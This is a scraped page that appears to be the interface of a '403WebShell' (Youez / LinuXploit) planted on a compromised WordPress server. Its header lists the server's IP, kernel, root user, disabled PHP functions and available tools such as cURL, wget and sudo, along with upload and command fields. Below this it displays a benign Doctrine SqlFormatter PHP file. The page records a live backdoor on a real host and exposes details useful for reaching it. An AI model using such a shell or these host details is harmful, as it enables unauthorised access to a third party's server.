WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.217.62
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/vendor/doctrine/sql-formatter/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/vendor/doctrine/sql-formatter/src/HtmlHighlighter.php
<?php

declare(strict_types=1);

namespace Doctrine\SqlFormatter;

use function htmlentities;
use function sprintf;
use function trim;

use const ENT_COMPAT;
use const ENT_IGNORE;
use const PHP_EOL;

final class HtmlHighlighter implements Highlighter
{
    public const HIGHLIGHT_PRE = 'pre';

    /**
     * This flag tells us if queries need to be enclosed in <pre> tags
     *
     * @var bool
     */
    private $usePre;

    /** @var array<string, string> */
    private $htmlAttributes;

    /**
     * @param array<string, string> $htmlAttributes
     */
    public function __construct(array $htmlAttributes = [], bool $usePre = true)
    {
        $this->htmlAttributes = $htmlAttributes + [
            self::HIGHLIGHT_QUOTE => 'style="color: blue;"',
            self::HIGHLIGHT_BACKTICK_QUOTE => 'style="color: purple;"',
            self::HIGHLIGHT_RESERVED => 'style="font-weight:bold;"',
            self::HIGHLIGHT_BOUNDARY => '',
            self::HIGHLIGHT_NUMBER => 'style="color: green;"',
            self::HIGHLIGHT_WORD => 'style="color: #333;"',
            self::HIGHLIGHT_ERROR => 'style="background-color: red;"',
            self::HIGHLIGHT_COMMENT => 'style="color: #aaa;"',
            self::HIGHLIGHT_VARIABLE => 'style="color: orange;"',
            self::HIGHLIGHT_PRE => 'style="color: black; background-color: white;"',
        ];
        $this->usePre         = $usePre;
    }

    public function highlightToken(int $type, string $value): string
    {
        $value = htmlentities($value, ENT_COMPAT | ENT_IGNORE, 'UTF-8');

        if ($type === Token::TOKEN_TYPE_BOUNDARY && ($value === '(' || $value === ')')) {
            return $value;
        }

        $attributes = $this->attributes($type);
        if ($attributes === null) {
            return $value;
        }

        return '<span ' . $attributes . '>' . $value . '</span>';
    }

    public function attributes(int $type): ?string
    {
        if (! isset(self::TOKEN_TYPE_TO_HIGHLIGHT[$type])) {
            return null;
        }

        return $this->htmlAttributes[self::TOKEN_TYPE_TO_HIGHLIGHT[$type]];
    }

    public function highlightError(string $value): string
    {
        return sprintf(
            '%s<span %s>%s</span>',
            PHP_EOL,
            $this->htmlAttributes[self::HIGHLIGHT_ERROR],
            $value
        );
    }

    public function highlightErrorMessage(string $value): string
    {
        return $this->highlightError($value);
    }

    public function output(string $string): string
    {
        $string = trim($string);
        if (! $this->usePre) {
            return $string;
        }

        return '<pre ' . $this->htmlAttributes[self::HIGHLIGHT_PRE] . '>' . $string . '</pre>';
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit